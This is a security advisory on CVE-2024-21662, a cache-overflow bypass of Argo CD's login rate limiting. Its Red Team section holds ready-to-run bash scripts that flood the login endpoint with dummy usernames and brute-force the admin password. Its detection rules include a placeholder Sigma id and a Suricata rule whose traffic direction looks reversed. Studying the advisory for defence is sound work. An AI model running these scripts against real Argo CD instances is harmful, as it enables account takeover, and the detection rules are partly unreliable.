CVE-2024-21662

Executive Summary

CVE-2024-21662 is a high-severity vulnerability in Argo CD, a declarative GitOps continuous delivery tool for Kubernetes. The flaw allows an attacker to bypass the application's rate-limiting and brute-force protection mechanisms, specifically targeting the default admin account. The vulnerability stems from a weak cache-based rate-limiting system that can be overflowed by bombarding the login endpoint with failed attempts for many different users. Once the cache is full, the admin account's failed attempt counter is evicted, effectively resetting the rate limit and enabling accelerated brute-force attacks. This vulnerability undermines the patch for CVE-2020-8827, which was originally designed to protect against such attacks. The CVSS score is 7.5 (High), and the attack vector is network-based with low complexity and no privileges required. The primary impact is on authentication integrity, allowing attackers to gain unauthorized access to the admin account.

Supply Chain & Package Security

Argo CD is a Go-based application distributed as a container image and a binary. The vulnerability is in the server-side authentication logic, not in a package dependency. However, organizations using Argo CD should verify the integrity of their deployment artifacts (e.g., container images from official registries) and ensure they are not using compromised versions. The patch is available in the official Argo CD repository and container images.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
• Attack Vector (AV): Network (N) – The attack can be executed remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions or complex steps are required.
• Privileges Required (PR): None (N) – The attacker does not need any prior authentication.
• User Interaction (UI): None (N) – No user action is needed to exploit the vulnerability.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): None (N) – No direct data disclosure.
• Integrity (I): High (H) – Successful exploitation allows an attacker to gain admin-level access, leading to full control over the Argo CD instance and potentially the managed Kubernetes clusters.
• Availability (A): None (N) – No direct denial of service.

Threat Level: High. The vulnerability enables brute-force attacks against the default admin account, which is a common target. Combined with weak or default passwords, this could lead to a complete compromise of the Argo CD instance and its managed environments.

Deep Dive & Mechanics

The vulnerability lies in the rate-limiting mechanism for login attempts. Argo CD uses an in-memory cache to track failed login attempts per user. The cache has a defaultMaxCacheSize of 1000 entries. When a user fails to log in, their username is added to the cache with a counter. If the counter exceeds a threshold, further attempts are rate-limited.

The flaw is that an attacker can send a large number of login requests with different, non-existent usernames. Each unique username creates a new cache entry. Once the cache reaches its 1000-entry limit, the cache evicts the oldest entries using a least-recently-used (LRU) or similar eviction policy. If the admin account's entry is evicted, its failed attempt counter is reset to zero. The attacker can then resume brute-forcing the admin account without rate limiting.

This effectively bypasses the protection intended by CVE-2020-8827, which was a patch to add rate limiting. The cache overflow attack allows an attacker to perform an unlimited number of login attempts against the admin account, as long as they periodically flood the cache with dummy usernames to keep the admin's entry evicted.

Vulnerable vs. Patched Code

The vulnerable code is in the authentication handler that manages the rate-limiting cache. The patch modifies the cache to either:

• Use a separate, non-evictable cache for the admin account.
• Increase the cache size significantly.
• Implement a more robust rate-limiting mechanism that is not based on a simple LRU cache.

Vulnerable Code (Conceptual):

// Vulnerable: Uses a single LRU cache for all users
var loginAttempts = lru.New(1000)

func handleLogin(username, password string) bool {
    if loginAttempts.Contains(username) {
        attempts := loginAttempts.Get(username).(int)
        if attempts >= maxAttempts {
            return false // rate limited
        }
        loginAttempts.Add(username, attempts+1)
    } else {
        loginAttempts.Add(username, 1)
    }
    // ... authentication logic
}

Patched Code (Conceptual):

// Patched: Uses a separate cache for the admin account or a non-evictable entry
var loginAttempts = lru.New(1000)
var adminAttempts = lru.New(1000) // separate cache for admin

func handleLogin(username, password string) bool {
    var cache *lru.Cache
    if username == "admin" {
        cache = adminAttempts
    } else {
        cache = loginAttempts
    }
    if cache.Contains(username) {
        attempts := cache.Get(username).(int)
        if attempts >= maxAttempts {
            return false
        }
        cache.Add(username, attempts+1)
    } else {
        cache.Add(username, 1)
    }
    // ... authentication logic
}

Exploitation & Lab Setup

Red Team

Objective: Perform a brute-force attack against the default admin account by bypassing rate limiting.

Prerequisites:

• Access to the Argo CD login endpoint (e.g., https://argocd.example.com/api/v1/session).
• A list of potential admin passwords (e.g., rockyou.txt).

Exploitation Steps:

1. Flood the cache with dummy usernames: Use a script to send login requests with random usernames to fill the cache.

   #!/bin/bash
   TARGET="https://argocd.example.com/api/v1/session"
   for i in $(seq 1 1100); do
       curl -k -X POST "$TARGET" \
           -H "Content-Type: application/json" \
           -d "{\"username\":\"user$i\",\"password\":\"wrong\"}" &
   done
   wait
   

2. Brute-force the admin account: After flooding, the admin's failed attempt counter should be evicted. Now send login attempts for the admin user.

   #!/bin/bash
   TARGET="https://argocd.example.com/api/v1/session"
   while read password; do
       response=$(curl -k -s -o /dev/null -w "%{http_code}" -X POST "$TARGET" \
           -H "Content-Type: application/json" \
           -d "{\"username\":\"admin\",\"password\":\"$password\"}")
       if [ "$response" -eq 200 ]; then
           echo "Password found: $password"
           break
       fi
       # Periodically re-flood the cache to keep admin entry evicted
       if (( RANDOM % 10 == 0 )); then
           for i in $(seq 1 100); do
               curl -k -X POST "$TARGET" \
                   -H "Content-Type: application/json" \
                   -d "{\"username\":\"flood$RANDOM\",\"password\":\"wrong\"}" &
           done
           wait
       fi
   done < passwords.txt
   

Expected Outcome: The attacker can perform an unlimited number of login attempts against the admin account, bypassing the rate limit.

Blue Team

Detection:

• Monitor for a high volume of failed login attempts from a single IP or across many usernames.
• Look for patterns where a large number of unique usernames are used in a short period.
• Alert on any successful login to the admin account after a burst of failed attempts.

Mitigation:

• Apply the patch immediately (upgrade to 2.8.13, 2.9.9, or 2.10.4).
• Implement additional rate limiting at the network level (e.g., using a WAF or reverse proxy).
• Enforce strong passwords and multi-factor authentication (MFA) for the admin account.
• Monitor logs for unusual authentication patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • High volume of POST requests to /api/v1/session with varying usernames.
  • Repeated login attempts for the "admin" user from the same source IP.
  • HTTP 401 responses followed by a 200 response for the admin user.

• Log IOCs:

  • Argo CD audit logs showing many failed login attempts for non-existent users.
  • Logs indicating cache eviction or rate limit resets.

• File IOCs:

  • No specific file-based IOCs.

Detection Engineering

YARA Rule

rule CVE_2024_21662_ArgoCD_BruteForce {
    meta:
        description = "Detects brute-force attempts exploiting CVE-2024-21662 in Argo CD logs"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-21662"
    strings:
        $login_attempt = /POST \/api\/v1\/session.*"username":"[^"]+","password":"[^"]+"/ nocase
        $admin_user = /"username":"admin"/ nocase
        $failed_login = /401 Unauthorized/
    condition:
        #login_attempt > 100 and #admin_user > 0 and #failed_login > 50
}

Sigma Rule

title: CVE-2024-21662 Argo CD Brute-Force Bypass
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects a high volume of login attempts with many unique usernames, indicating a cache overflow attack.
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-21662
logsource:
    category: application
    product: argocd
detection:
    selection:
        event: login_attempt
        username|re: 'user[0-9]+'  # Pattern for dummy usernames
    condition: selection | count() by src_ip > 100 within 1m
    timeframe: 1m
falsepositives:
    - Legitimate load testing
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-21662 Argo CD Brute-Force Bypass Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/v1/session"; http_uri;
    pcre:"/\"username\":\"[^\"]+\"/";
    threshold: type both, track by_src, count 100, seconds 60;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Argo CD to version 2.8.13, 2.9.9, or 2.10.4 (or later).
2. Change the default admin password to a strong, unique password.
3. Enable multi-factor authentication (MFA) for the admin account if supported.

Long-term Measures:

• Implement network-level rate limiting (e.g., using a reverse proxy like Nginx or a WAF).
• Monitor authentication logs for anomalies.
• Regularly review and rotate credentials.
• Consider using an external identity provider (e.g., OIDC, SAML) to offload authentication.

Workarounds (if patching is not immediately possible):

• Restrict access to the Argo CD API to trusted IPs only.
• Use a reverse proxy to add additional rate limiting.
• Disable the default admin account and use SSO.

Valters IT